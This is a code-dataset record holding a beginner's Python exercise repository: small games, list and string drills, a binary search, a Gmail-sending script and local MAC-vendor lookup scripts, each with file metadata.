\n\t\t\t#\t\tcows_bulls[1] -= cows_bulls[0]\n\t\tprint(\"you have {} cows and {} bulls\".format(cows_bulls[0], cows_bulls[1]))\nprint(\"wowoooo you made it with {} guesses\".format(guess_number))\nprint(number)\n" }, { "alpha_fraction": 0.6118420958518982, "alphanum_fraction": 0.6381579041481018, "avg_line_length": 20.714284896850586, "blob_id": "5610c3ae5df3ae75d030a1269d026a4a908a77ed", "content_id": "0376c5459b75f69e5d7bf67fbf533598c1f5eeb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 304, "license_type": "no_license", "max_line_length": 83, "num_lines": 14, "path": "/1.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n#name: lior\n#date: 23/05/18\nimport sys\n\nprint(sys.version)\n\nfile=open('test.txt','w')\nfile.write(input(\"what is yout name? \\n\") + \"\\n\")\nfile.write(input(\"how old are you?\") + \"\\n\")\nfile.write(\"you think this is funny? \" + input(\"you think this is funny? \") + \"\\n\")\n\nfile.close()\n" }, { "alpha_fraction": 0.6530612111091614, "alphanum_fraction": 0.6653061509132385, "avg_line_length": 22.70967674255371, "blob_id": "4f1f8314ce82488a67a56eb5e624fa27576d5cfb", "content_id": "ac6e52805553c1de13a2dbdd6caf86b11b2e1258", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 735, "license_type": "no_license", "max_line_length": 62, "num_lines": 31, "path": "/binary_search.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n#homework\n#lior cohen\n#Binary search from a ordered list\n\ndef find(ordered_list, element_to_find):\n\tstart_index = 0\n\tend_index = int(len(ordered_list)) -1\n\t\n\twhile True:\n\t\tmiddle_index = int((start_index + end_index)/2)\n\t\tif middle_index == start_index or middle_index == end_index:\n\t\t\tif ordered_list[middle_index] == element_to_find:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\n\t\tmiddle_element = middle_index\n\t\tif middle_element == element_to_find:\n\t\t\treturn True\n\t\telif element_to_find < middle_element:\n\t\t\tend_index = middle_index\n\t\telse:\n\t\t\tstart_index = middle_index\t\n\nif __name__ == \"__main__\":\n\ta_list = list(range(1,100))\n\tnum = int(input(\"please enter a number: \"))\n\tvar = find(a_list, num)\n\tprint(var)\n" }, { "alpha_fraction": 0.30405405163764954, "alphanum_fraction": 0.5743243098258972, "avg_line_length": 12.454545021057129, "blob_id": "58f2f52624b67733cde8f965174e16dd8ccf0132", "content_id": "4015541ad79245d3d31af672e6b77192484f1d7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 148, "license_type": "no_license", "max_line_length": 68, "num_lines": 11, "path": "/6.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\na = [1,2,3,4,5,6,7,7,5,4,3,333,3,3,3,3,3,2,235,235,235,3,254,4535,3]\n\nprint(a)\n\na = set(a)\nprint (a)\n\na = list(a)\nprint(a)\n" }, { "alpha_fraction": 0.6187363862991333, "alphanum_fraction": 0.6252723336219788, "avg_line_length": 19.863636016845703, "blob_id": "7535842c86ccb47ae58816412b5fec7e97da8c57", "content_id": "a7e336af63125765a3f99dc2a4e79c0ab5884fba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 459, "license_type": "no_license", "max_line_length": 63, "num_lines": 22, "path": "/network_devices.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env \n###/usr/share/nmap/nmap-mac-prefixes\n###\n###\nimport netifaces\n\n\ndef get_interface():\n\treturn netifaces.interfaces()\n\ndic = {}\n\nfor inter in get_interface():\n\ti = netifaces.ifaddresses(inter)[netifaces.AF_LINK][0]['addr']\n\ti = i.replace(':', '')[:6].upper()\n\tdic[inter] = i\n\n\nfor x, y in dic.items():\n\tfor mac in open('/usr/share/nmap/nmap-mac-prefixes', 'r'):\n\t\tif y == mac[:6]:\n\t\t\tprint('your interface vendor for \"{}\" is {}'.format(x,mac))\n" }, { "alpha_fraction": 0.5822510719299316, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 23.3157901763916, "blob_id": "a4500bdf03283bc89face3ad4f89838461b34a2f", "content_id": "e0c1e7b7202a3d00b3c9811fba8a74635f25004a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 462, "license_type": "no_license", "max_line_length": 98, "num_lines": 19, "path": "/list_ends.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n####\n#name: lior\n#date: 6/3/18\n##description: Write a program that takes a list of numbers (for example, a = [5, 10, 15, 20, 25])\n#\t\t\t and makes a new list of only the first and last elements of the given list.\n# \t\t\t For practice, write this code inside a function.\n####\n\n\ndef list_start_end(x_list):\n\treturn [x_list[0], x_list[len(x_list)-1]]\n\t\n#function check \nvar = [1,2,3,4,5,6,76,7]\n\nvar = list_start_end(var)\nprint(var) #[1,7]\n" }, { "alpha_fraction": 0.47755101323127747, "alphanum_fraction": 0.518367350101471, "avg_line_length": 15.133333206176758, "blob_id": "1d9824d7963846217b6097572d9c0fc292591ec2", "content_id": "b45c6aedd997b6aaff3f8644af78b4ea003a24d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 245, "license_type": "no_license", "max_line_length": 54, "num_lines": 15, "path": "/10.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n##################\n#name: lior cohen\n#date: 13/6/18\n#decription:\n##################\n\nnumber = int(input(\"please enter a number to test: \"))\n\na_list = range(1, number + 1)\n\nfor i in a_list:\n\tif number % i == 0:\n\t\tprint(i)\n\t\t\n" }, { "alpha_fraction": 0.6262626051902771, "alphanum_fraction": 0.6498316526412964, "avg_line_length": 20.214284896850586, "blob_id": "d61f2044d5ffb79ca83aaa415379f0a969e02f2e", "content_id": "d4e08331256919f51d2120e909f760ecb4502f6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 297, "license_type": "no_license", "max_line_length": 47, "num_lines": 14, "path": "/9.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n\ndef find(orderd_list, element_to_find):\n\tfor element in orderd_list:\n\t\tif element == element_to_find:\n\t\t\treturn True\n\treturn False\n\t\t\n\t\t\nif __name__ ==\"__main__\":\n\ta_list = list(range(0,100,2))\n\tnumber = int(input(\"please enter a number: \"))\n\tprint(find(a_list, number))\n" }, { "alpha_fraction": 0.5854341983795166, "alphanum_fraction": 0.6162465214729309, "avg_line_length": 20, "blob_id": "216ef114f5ef8f6a7adc19583c9ed1247fc263b2", "content_id": "6580661ee6b6502539a611e1bf65c679c9e6d48c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 714, "license_type": "no_license", "max_line_length": 63, "num_lines": 34, "path": "/Rock_Paper_Scissors.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n#homework\n#lior cohen\n#\n\ndef compare_answers(u1, u2):\n\tif u1 == u2:\n\t\tprint(\"it's a tie\")\n\telif u1 == \"rock\":\n\t\tif u2 == \"scissors\":\n\t\t\tprint(\"user 1 wins\")\n\t\telse:\n\t\t\tprint(\"user 2 wins\")\n\telif u1 == \"paper\":\n\t\tif u2 == \"scissors\":\n\t\t\tprint(\"user 1 wins\")\n\t\telse:\n\t\t\tprint(\"user 2 wins\")\n\telif u1 == \"scissors\":\n\t\tif u2 == \"paper\":\n\t\t\tprint(\"user 1 wins\")\n\t\telse:\n\t\t\tprint(\"user 2 wins\")\n\telse:\n\t\tprint(\"invalid choise! try again\")\n\nwhile True:\n\tuser1 = str(input(\"please choose rock, paper or scissors: \")) \n\tuser2 = str(input(\"please choose rock, paper or scissors: \"))\n\tcompare_answers(user1 , user2)\n\tgame = str(input(\"press enter to continue or type quit \"))\n\tif game == \"quit\":\n\t\tbreak\n" }, { "alpha_fraction": 0.5916666388511658, "alphanum_fraction": 0.6472222208976746, "avg_line_length": 24.714284896850586, "blob_id": "f50bd90ed7c20b46670b66568af84f7227fc80ba", "content_id": "f7dc7235527821b385cba64197fa09366b98d40a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 360, "license_type": "no_license", "max_line_length": 68, "num_lines": 14, "path": "/100.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n#####\n#name: lior cohen\n#date: 11/6/18\n#description: get a name and age from the user and tell \n#them the year they will turn 100 years old\n####\n\nname = str(input(\"please entar your name: \"))\nage = int(input(\"please enter yout age: \"))\nyear = (str((2018 - age) +100))\n\nprint(\"{}, will be 100 years old in the year {}\".format(name, year))\n" }, { "alpha_fraction": 0.49454545974731445, "alphanum_fraction": 0.614545464515686, "avg_line_length": 18.5, "blob_id": "47d68db19829741a0539cb1e4acf20b9d6215f94", "content_id": "c6046d0cacd5a524adc48ddbdcd16a525edea423", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 275, "license_type": "no_license", "max_line_length": 46, "num_lines": 14, "path": "/list_less_then.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n#####\n#date: 11/6/18\n#lior cohen\n# list less than the user input.\n#####\na_list = [1,2,4,22,25,6,4,2,7,14,2341,123,434]\nnumber = int(input(\"please enter a number: \"))\na_list2 = []\nfor i in a_list:\n\tif i <= number:\n\t\ta_list2.append(i)\nprint(a_list2)\t\t\n" }, { "alpha_fraction": 0.5170940160751343, "alphanum_fraction": 0.5299145579338074, "avg_line_length": 12.764705657958984, "blob_id": "ff9992b0cc78611351284e6a99d41042bd1c7dc3", "content_id": "9b3bdcbf459262e0d7f1751a48896a145491d167", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 234, "license_type": "no_license", "max_line_length": 44, "num_lines": 17, "path": "/String Lists.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n#####################\n#\n#\n#\n#\n###################\n\nstring = str(input(\"please enter a word: \"))\n\nstring_backwards = string[::-1]\n\nif string == string_backwards:\n\tprint(\"sring match\")\nelse:\n\tprint(\"not match\")\n" }, { "alpha_fraction": 0.3132530152797699, "alphanum_fraction": 0.4819277226924896, "avg_line_length": 16.785715103149414, "blob_id": "5d599454cd9ddde2c17683a2703612d0fc48e1e8", "content_id": "c40564efe5877bcdc1020b5033b3dd3bb55636b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 249, "license_type": "no_license", "max_line_length": 59, "num_lines": 14, "path": "/List_Comprehensions.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n\n##########################\n#name:lior cohen\n#date: 10/06/18\n#decription: \n#########################\n\nvar = [10,7,8,3,45,6,23,235,45,6,6,7,8,5,4,2,22,12,312,634]\n\nvar_even = [num for num in var if num % 2 == 0]\n\nprint(var_even)\n" }, { "alpha_fraction": 0.7150996923446655, "alphanum_fraction": 0.7236467003822327, "avg_line_length": 20.9375, "blob_id": "09b88ca2239f14845959e4d9e5d25f3ae9c8be2e", "content_id": "0a901ddd1cbb135de0c20e9f7889565a5d5b881c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "no_license", "max_line_length": 56, "num_lines": 16, "path": "/create_list.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n\ndef list_append(list_to_append, data_for_the_list):\n\tlist_to_append.append(data_for_the_list)\n\treturn list_to_append\n\nlst=[]\n\nlist_length=int(input(\"please enter the list length: \"))\ntype(list_length)\ni=0\nfor i in range(list_length):\n\tdata_for_list=input(\"please enter a number:\")\n\tlist_append(lst,data_for_list)\n\tprint(lst)\n" }, { "alpha_fraction": 0.5357142686843872, "alphanum_fraction": 0.5678571462631226, "avg_line_length": 13.684210777282715, "blob_id": "d137429972a74884ec3f94c9337dace486870fc4", "content_id": "4420fb5ffddcbe8a27cecefc8ac3eeee83b19cad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 280, "license_type": "no_license", "max_line_length": 39, "num_lines": 19, "path": "/read_line_dic.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n############\n#\n#\n#dictinary \n\nwith open('Training_01.txt', 'r') as f:\n\tline = f.readline()\n\tcounter = {}\n\twhile line:\n\t\tline = line[3:-26]\n\t\tif line in counter:\n\t\t\tcounter[line] += 1\n\t\telse:\n\t\t\tcounter[line] = 1\n\t\tline = f.readline()\n\t\t\t\t\nprint(counter)\n\n" }, { "alpha_fraction": 0.4893617033958435, "alphanum_fraction": 0.5248227119445801, "avg_line_length": 14.5, "blob_id": "d31d9b9008b48ca46e63916fb2f465ba8e229299", "content_id": "ccbc28d4211b648885b29ca8f9c1e9abb6c95aea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 282, "license_type": "no_license", "max_line_length": 54, "num_lines": 18, "path": "/divisors.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n##################\n#name: lior cohen\n#date: 13/6/18\n#decription:\n##################\n\nnumber = int(input(\"please enter a number to test: \"))\n\na_list = range(1, number + 1)\nd_list = []\n\nfor i in a_list:\n\tif number % i == 0:\n\t\td_list.append(i)\n\t\t\nprint(d_list)\n\t\t\n" }, { "alpha_fraction": 0.6785260438919067, "alphanum_fraction": 0.6848793029785156, "avg_line_length": 18.19512176513672, "blob_id": "52ea706a7ff6f04bd67ea241bfea9dd106e1aeff", "content_id": "c3f9f277b2f6ca2ace7c498c9248b5fdec981ff1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 787, "license_type": "no_license", "max_line_length": 55, "num_lines": 41, "path": "/2.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n####\n#name: lior\n#\n#\n####\n\n\nimport smtplib\nimport getpass\n\nuser_mail = input('please enter your gmail:')\nuser_pass = getpass.getpass('enter your password')\n\nrec_mail = input('please enter to reciver mail') \nsubject = input('please enter a subject')\n\n#get a long string content\nprint('plese enter your content, to stop hit ctrl + d')\nbody = []\n\nwhile True:\n\ttry:\n\t\tline = input()\n\texcept EOFError:\n\t\tbreak\n\tbody.append(line)\nbody = '\\n'.join(body)\n\t\t \nthe_mail = 'Subject: {}\\n\\n {}'''.format(subject, body)\n\ntry:\n\tserver_mail = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n\tserver_mail.ehlo()\n\tserver_mail.login(user_mail, user_pass)\n\tserver_mail.sendmail(user_mail, rec_mail, the_mail)\n\tserver_mail.close()\n\tprint('mail send')\nexcept:\n\tprint('something went worng')\n" }, { "alpha_fraction": 0.6349614262580872, "alphanum_fraction": 0.673521876335144, "avg_line_length": 18.450000762939453, "blob_id": "8db319648fd17606fa301af4964677201bcf8f29", "content_id": "2c7b6f5a5cda9fc0da76936e86664a70d13a430c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 389, "license_type": "no_license", "max_line_length": 52, "num_lines": 20, "path": "/list_overlap.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\nimport random\n\na_list = []\nb_list = []\nc_list = [] #list after filtering\nlist_element = int(input(\"please enter a number: \"))\n\nfor i in range(list_element+1):\n\ta_list.append(random.randrange(1,100,1))\n\t\nfor j in range(11):\n\tb_list.append(random.randrange(1,100,1))\n\nfor num in a_list:\n\tif num in b\t_list and num not in c_list:\n\t\tc_list.append(num)\n\t\nprint(c_list)\n" }, { "alpha_fraction": 0.581818163394928, "alphanum_fraction": 0.6051948070526123, "avg_line_length": 21.647058486938477, "blob_id": "115b38ef249c95e5e16659c6fac042f2ab4a752d", "content_id": "6228c0868c316d4bebf49c8624682971a61dae7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 385, "license_type": "no_license", "max_line_length": 53, "num_lines": 17, "path": "/backward_string.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n\n##########################\n#name:lior cohen\n#date: 10/06/18\n#decription: get a lonf string and print it backwards\n#########################\n\nenter_string = input(\"please enter a long strind: \")\n\ndef string_backwards(enter_string):\n\tlist_words = enter_string.split()\n\treturn \"{}\".format(\" \".join(list_words[::-1]))\n\nvar = string_backwards(enter_string)\nprint(var)\n" }, { "alpha_fraction": 0.5903307795524597, "alphanum_fraction": 0.6030534505844116, "avg_line_length": 14.115385055541992, "blob_id": "3ad9b1f4800fac65f85b4ed208ca593aa5981baa", "content_id": "13229e6041b02ec521a9f9a4557e687b4e23ee76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 393, "license_type": "no_license", "max_line_length": 56, "num_lines": 26, "path": "/net_interface_scan.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n\n#####\n#\n#\n#\n######\n\nimport os\nimport sys\n\na_list = []\nprint('looking for mac addresses!')\n\nnet_scan = os.popen('arp -a').readlines() \nprint ('finished looking ')\nfor i in net_scan:\n\tfiled = i.strip().split()\n\ta_list.append(filed[3][:8].replace(':','').upper())\n\t\nfor i in open('/usr/share/nmap/nmap-mac-prefixes', 'r'):\n\tif i[:6] in a_list:\n\t\tprint(i)\n\nprint(a_list)\n" }, { "alpha_fraction": 0.4421052634716034, "alphanum_fraction": 0.5526315569877625, "avg_line_length": 12.103447914123535, "blob_id": "af05b557a67a31d9f3ee1016f9cf2cc9f8f1fc3a", "content_id": "aa5c3b14979a0595f622e93e6299c3dfe979877e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 380, "license_type": "no_license", "max_line_length": 59, "num_lines": 29, "path": "/5.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n\n##########################\n#name:lior cohen\n#date: 10/06/18\n#decription: \n#########################\n\nvar = [10,7,8,3,45,6,23,235,45,6,6,7,8,5,4,2,22,12,312,634]\n\nvar_even = [num for num in var if num % 2 == 0]\n\nprint(var_even)\n\ntest = ''' lalalal al aala\nalala sdla \nsadla sdlsa dsald\nsadl sa\ndl sa\ndlsa \ndsal d\n\ndsfdsf\n\nsald \nsald \nsad lsad '''\nprint(test)\n" } ]
21
Andh001/RMPASM
https://github.com/Andh001/RMPASM
51cbf4904785724ce82fb50a5fe5b6dce98a7992
faae54d33ef1108b2f16bad61c33381db5e3abd0
70b5264b22344b7ffef8d9e8e53684fe1fc69986
refs/heads/master
2020-03-26T04:05:40.777263
2018-08-12T17:19:20
2018-08-12T17:19:20
144,485,639
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49750590324401855, "alphanum_fraction": 0.5234969854354858, "avg_line_length": 20.14444351196289, "blob_id": "f9bec0a69b9858ffd33624bf13297ca80100368c", "content_id": "0bdd74cd37f2030365baac9c88e22a9d6c4c1cd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3809, "license_type": "no_license", "max_line_length": 108, "num_lines": 180, "path": "/demo_src/RMPinASM.py", "repo_name": "Andh001/RMPASM", "src_encoding": "UTF-8", "text": "###############################\n# This is just a Demo Version #\n###############################\n\nimport re\n\n# To make simple analysis of a ASM\n# just open that file in OllyDebugger and copy the instructions\n# into a new file and specify the filename below\nfilename = \"1.txt\"\nRegisterToParse = \"EAX\"\n\n# If you want a more simpler version\n# set 1 else set 0\nSimpleVersion = 1\n\nwith open(filename, \"rb\") as f:\n # Reading all file data..\n s = f.read()\n\n# f consists of all registers used in 32bit ASM\nf = [\"EAX\", \"EBX\", \"ECX\", \"EDX\", \"ESI\", \"EDI\", \"ESP\", \"EIP\", \"AL\", \"BL\", \"CL\", \"DL\", \"AH\", \"BH\", \"CH\", \"DH\"]\n\ndef gene(k):\n # In TextProcessing some variable names like \n # [EBP-43C] or [EBP+98A] will make a problem\n # Therefore in this function these variables will convert\n # [EBP-43C] --> m43c because of subtraction\n # [EBP+98A] --> p98a because of addition..\n \n k = k[4:] # ignoring first 4 chars because k will always starts from \"[EBP\"\n a = re.findall(\"[A-Z0-9]+\", k)\n k = 'm' if '-' in k else 'p'\n return k + a[0]\n\ndef h(a):\n # These are some texts that can make problem\n # like MOV DWORD PTR SS:[EBP+48],EAX in this \"DWORD PTR SS:\" is useless..\n a = a.replace(\"DWORD PTR \", \"\")\n a = a.replace(\"WORD PTR \", \"\")\n a = a.replace(\"BYTE PTR \", \"\")\n a = a.replace(\"SS:\", \"\")\n a = a.replace(\"DS:\", \"\")\n return a\n\ns = h(s)\n\n# Below process is just converting [EBP(+|-)offset] registers into simplified variables\nk = re.findall(\"(\\[EBP\\-\\w+\\])|(\\[EBP\\+\\w+\\])\", s)\npo = []\nfor i in k:\n i = i[0] if i[0] else i[1]\n io = gene(i)\n if io not in po:\n po += [io]\n s = s.replace(i, gene(i))\n \n# appending registers array with new variables\nf += po\n\ng = s.split(\"\\n\")[::-1]\n# g is set of all instruction strings..\n# like g[34] is \"10001001 |. 8B7424 08 MOV ESI,m34\"\n\nk = 0\n# This global count will holds current index of instruction\n\nEEEEE = 28\n\ndef GetAttrs(a):\n global f\n if len(re.findall(\"\\w+\", a[EEEEE:])) < 1:\n return False\n A = a\n n = []\n if \"MOV\" in a:\n a = \" \".join(x for x in re.findall(\"\\w+\", a[EEEEE:])[2:])\n for i in f:\n if i in a:\n n += [i]\n else:\n A = h(A)\n for i in f:\n if i in A:\n n += [i]\n if len(n) == 0:\n return False\n return n\n\n\ndef isIn(a, b):\n l = re.findall(\"\\w+\", a[EEEEE:])\n if len(l) > 1:\n return re.findall(\"\\w+\", a[EEEEE:])[1] == b\n return False\n\ndef GetLine(i):\n global k\n if \"MUL\" in g[k]:\n return [g[k], k]\n kl = k\n while \"00\" not in g[k]:\n k += 1\n while k < len(g):\n E = isIn(g[k], i)\n if E:\n return [g[k], k]\n k += 1\n if \"DIV\" in g[kl]:\n print \"====\", g[kl]\n return [g[kl], kl]\n if k == len(g):\n k = 0\n return False\n\nzz = -1\nlll = []\n\ndef ff(i):\n global k\n global zz, lll\n t = k\n a = GetLine(i)\n if a != False:\n k = a[1]\n a = a[0]\n L1 = GetAttrs(a)\n if zz != k:\n lll += [a]\n zz = k\n if \"MUL\" in a or \"DIV\" in a:\n if \"EAX\" not in L1:\n L1 += [\"EAX\"]\n if L1:\n for i in L1:\n k += 1\n ff(i)\n k = t\n\ndef getsimple(i):\n o = i[EEEEE:].split(\" \")\n if o[0] == \"MOV\":\n o1 = o[1].split(\",\")\n print o1[0],\"=\",\"\".join(x for x in o1[1:])\n elif o[0] == \"ADD\":\n o1 = o[1].split(\",\")\n print o1[0],\"+=\",\"\".join(x for x in o1[1:])\n elif o[0] == \"SUB\":\n o1 = o[1].split(\",\")\n print o1[0],\"-=\",\"\".join(x for x in o1[1:])\n else:\n print i[EEEEE:]\n\ndef asort():\n global lll\n n = []\n l = [int(re.findall(\"00\\w+\", li)[0], 16) for li in lll]\n l.sort()\n for i in l:\n for xx in lll:\n if hex(i)[2:].upper() in xx:\n n += [xx]\n while xx in lll:\n lll.remove(xx)\n global SimpleVersion\n if SimpleVersion == 1:\n for i in n:\n getsimple(i)\n return\n for i in n:\n print i\n\ndef ff1(ss):\n global lll\n ff(ss)\n return lll\n\nff(RegisterToParse)\n\nasort()\n\n\n\n" }, { "alpha_fraction": 0.7902735471725464, "alphanum_fraction": 0.7963525652885437, "avg_line_length": 53.66666793823242, "blob_id": "95d2c6e1be592572b499aa1ebfb5ec48b9772a30", "content_id": "8d8868fbc160ec43d01716c6f71ae3872e92136d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 329, "license_type": "no_license", "max_line_length": 94, "num_lines": 6, "path": "/README.md", "repo_name": "Andh001/RMPASM", "src_encoding": "UTF-8", "text": "# Register Modifiers Parsing in ASM\n\nThe main aim of this project is to generate the set of instructions which modifies a register.\nTo make an input file for this project,\nDownload any version of OllyDebugger from http://www.ollydbg.de/\ndrag and drop any 32bit exe in application and copy set of instructions into a input file.\n\n" } ]
2
vkurenkov/muon-detection
https://github.com/vkurenkov/muon-detection
3c36bc213a5de9dda1e42807981e9d7e6dd95f8e
5f31c461163e59c4c2de098a6670275428a7a91d
ae012593d27d630d6297c694732d36b99b6af617
refs/heads/master
2020-04-17T15:01:28.756839
2019-02-10T14:47:14
2019-02-10T14:47:14
166,682,053
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6297681331634521, "alphanum_fraction": 0.6529543995857239, "avg_line_length": 31.609756469726562, "blob_id": "82bfdb7d300f89d00c9cb8cb8d86025fa38f5907", "content_id": "30f656be5eb6a2e9e172f74c36d266c9f5ef13a3", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1337, "license_type": "permissive", "max_line_length": 119, "num_lines": 41, "path": "/experiments/track2_newfeatures/parser.h", "repo_name": "vkurenkov/muon-detection", "src_encoding": "UTF-8", "text": "// Copyright 2019, Nikita Kazeev, Higher School of Economics\n#pragma once\n#include <ctype.h>\n#include <cstdint>\n#include <cmath>\n\n#include <iostream>\n#include <vector>\n#include <array>\n#include <limits>\n\nconst size_t N_STATIONS = 4;\nconst size_t FOI_FEATURES_PER_STATION = 6;\n\n// The structure of .csv is the following:\n// id, <62 float features>, number of hits in FOI, <9 arrays of FOI hits features>, <2 float features>\n\n/* Number of features */\nconst size_t N_RAW_FEATURES = 65;\nconst size_t N_RAW_FEATURES_TAIL = 2;\nconst size_t N_ADDITIONAL_FEATURES = 24;\n\nconst size_t N_FEATURES = N_RAW_FEATURES + N_STATIONS * FOI_FEATURES_PER_STATION + N_ADDITIONAL_FEATURES;\nconst size_t ADD_FEATURES_START = N_RAW_FEATURES + N_STATIONS * FOI_FEATURES_PER_STATION;\nconst size_t FOI_FEATURES_START = N_RAW_FEATURES;\n\n/* Indices for different type of features*/\nconst size_t FOI_HITS_N_INDEX = 62;\n\nconst size_t LEXTRA_X_INDEX = 45;\nconst size_t LEXTRA_Y_INDEX = 49;\n\nconst size_t MATCHED_HIT_X_IND = 13;\nconst size_t MATCHED_HIT_Y_IND = 17;\nconst size_t MATCHED_HIT_Z_IND = 21;\n\nconst float EMPTY_FILLER = 1000;\n\nconst char DELIMITER = ',';\n\nvoid ugly_hardcoded_parse(std::istream& stream, size_t* id, std::vector<float>* result);\n" }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.7647058963775635, "avg_line_length": 16, "blob_id": "ba98c31c69d68951d4d12b046e56c541698fe021", "content_id": "0729daac576bf2af00d34f1fff0dc55b537ab5b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 17, "license_type": "no_license", "max_line_length": 16, "num_lines": 1, "path": "/README.md", "repo_name": "vkurenkov/muon-detection", "src_encoding": "UTF-8", "text": "# muon-detection\n" }, { "alpha_fraction": 0.5978169441223145, "alphanum_fraction": 0.6062132716178894, "avg_line_length": 26.06818199157715, "blob_id": "e6afd8d5141ccd393d5b07a321c0315eb8bae43e", "content_id": "8dbfd6d7be358875e78ab6756ab26e6170daf8bc", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1191, "license_type": "permissive", "max_line_length": 86, "num_lines": 44, "path": "/experiments/track2_newfeatures/baseline.cpp", "repo_name": "vkurenkov/muon-detection", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <iomanip>\n#include <algorithm>\n#include <iterator>\n#include <vector>\n#include <limits>\n\n#include \"./parser.h\"\n#include \"ripped_evaluator/evaluator.h\"\n\nint main() {\n // Fast read\n std::ios_base::sync_with_stdio(false);\n std::cin.tie(NULL);\n\n // Model init\n const std::string MODEL_FILE = \"track_2_model.cbm\";\n NCatboostStandalone::TOwningEvaluator evaluator(MODEL_FILE);\n\n // Skip header\n std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\\n');\n std::cout << std::setprecision(std::numeric_limits<float>::max_digits10);\n std::cout << \"id,prediction\\n\";\n\n // Read and predict\n while (std::cin.good() && std::cin.peek() != EOF) {\n\t std::vector<float> features(N_FEATURES);\n size_t id;\n ugly_hardcoded_parse(std::cin, &id, &features);\n const float prediction = \\\n evaluator.Apply(features, NCatboostStandalone::EPredictionType::RawValue);\n std::cout << id << DELIMITER << prediction << '\\n';\n }\n return 0;\n\n /*\n 0 - Features\n 1 - Catboost\n 2 - LightGBM\n 3 - Nearest Centroid\n 4 - Random Forest\n 5 - RidgeClassifier\n */\n}\n" }, { "alpha_fraction": 0.6372548937797546, "alphanum_fraction": 0.6447368264198303, "avg_line_length": 33.30088424682617, "blob_id": "1e94694e1af67d67c962e64d4125d3684202b319", "content_id": "eba5b407b846c5c82965332249a658f2891bc5ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3876, "license_type": "no_license", "max_line_length": 108, "num_lines": 113, "path": "/scoring.py", "repo_name": "vkurenkov/muon-detection", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport utils\n\nfrom sklearn.base import ClassifierMixin\nfrom sklearn.metrics import make_scorer\nfrom sklearn.model_selection import StratifiedKFold\nfrom typing import 